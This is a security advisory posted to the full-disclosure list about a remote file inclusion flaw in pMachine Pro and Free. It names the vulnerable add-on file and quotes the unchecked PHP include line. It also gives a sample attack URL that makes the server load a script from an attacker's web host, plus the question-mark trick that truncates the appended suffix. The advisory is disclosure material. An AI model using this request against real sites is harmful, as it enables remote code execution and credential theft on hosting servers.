full-disclosure - pMachine Pro / pMachine Free Remote Code Execution

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From: kingcope at gmx.net (kc)
Subject: pMachine Pro / pMachine Free Remote Code Execution

pMachine Pro / pMachine Free Remote Code Execution
vendor website: http://www.pmachine.com

I. BACKGROUND
PMachine is one of the most flexible & creative on-line publishing
tools available.  With PMachine you can publish any kind of
web content - from a basic weblog to an advanced, interactive magazine.
Easy to use, even for those new to BLOGing!
Even the most inexperienced user can have their weblog up and running
in 10 minutes or less.

II. DESCRIPTION
A remote attacker is able to execute commands with the privileges
of the underlying webserver. Under special circumstances the attacker
is also in place to escalate his privileges and gain full access to the
affected system.

The file containing the vulnerability is placed at

pm/add_ons/mail_this_entry/mail_autocheck.php

from the pMachine root directory. This file contains the following
PHP code:

<?php include($pm_path."mailserver".$sfx); ?>

as no check was done to the user supplied $pm_path variable it
is possible to include a remote php script and take advantage of
this typical PHP include() vulnerability.

Followed is a sample attack to the pMachine hosting server:
http://targetserver/pMachine/pm/add_ons/mail_this_entry/
mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php?

The question mark at the very end of this URL will truncate the
appended "mailserver".$sfx of the vulnerable pMachine code.

III. ANALYSIS

Remote exploitation allows an attacker to execute arbitrary commands
and code under the privileges of the web server. This also opens the
door to privilege escalation attacks.
In junction with other unpatched vulnerabilities (the recent curl issue)
the attacker is able to read any file on the system even without
escalating his privileges.
For example on an shared website server and read out secret account
credentials.

IV. DETECTION
The latest pMachine Pro and pMachine Free release is vulnerable to
the attack described above.

kcope - kingcope[at]gmx.net

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